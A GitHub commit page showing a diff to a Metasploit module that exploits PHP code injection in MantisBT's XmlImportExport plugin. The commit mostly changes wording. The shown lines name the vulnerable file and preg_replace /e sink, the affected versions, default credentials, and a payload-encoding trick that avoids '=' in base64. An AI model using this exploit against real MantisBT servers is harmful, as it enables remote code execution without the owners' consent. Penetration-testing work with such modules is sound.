Skip to content

Commit 9cce764

Browse files
committed
update description and fix typos
1 parent 5d17637 commit 9cce764

File tree

1 file changed

+5
-4
lines changed

1 file changed

+5
-4
lines changed

modules/exploits/multi/http/mantisbt_php_exec.rb

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,9 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability',
1717
'Description' => %q{
18-
When importing data with the plugin, user input passed through the "description" field (and the "issuelink" attribute) of the uploaded XML file isn't properly sanitized before being used in a call to the preg_replace() function which uses the 'e' modifier.
19-
This can be exploited to inject and execute arbitrary PHP code when the Import/Export plugin is installed.
18+
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
19+
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
20+
This allows a remote authenticated attacker to execute arbitrary PHP code in the remote machine.
2021
},
2122
'License' => MSF_LICENSE,
2223
'Author' =>
@@ -38,7 +39,7 @@ def initialize(info = {})
3839
[
3940
OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
4041
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
41-
OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '']),
42+
OptString.new('TARGETURI', [ true, 'Base directory path', '']),
4243
], self.class)
4344
end
4445

@@ -57,7 +58,7 @@ def exec_php(php_code, is_check = false)
5758
# remove comments, line breaks and spaces of php_code
5859
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
5960

60-
# clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
61+
# clean b64 payload
6162
while Rex::Text.encode_base64(payload_clean) =~ /=/
6263
payload_clean = "#{ payload_clean } "
6364
end

0 commit comments

Comments
 (0)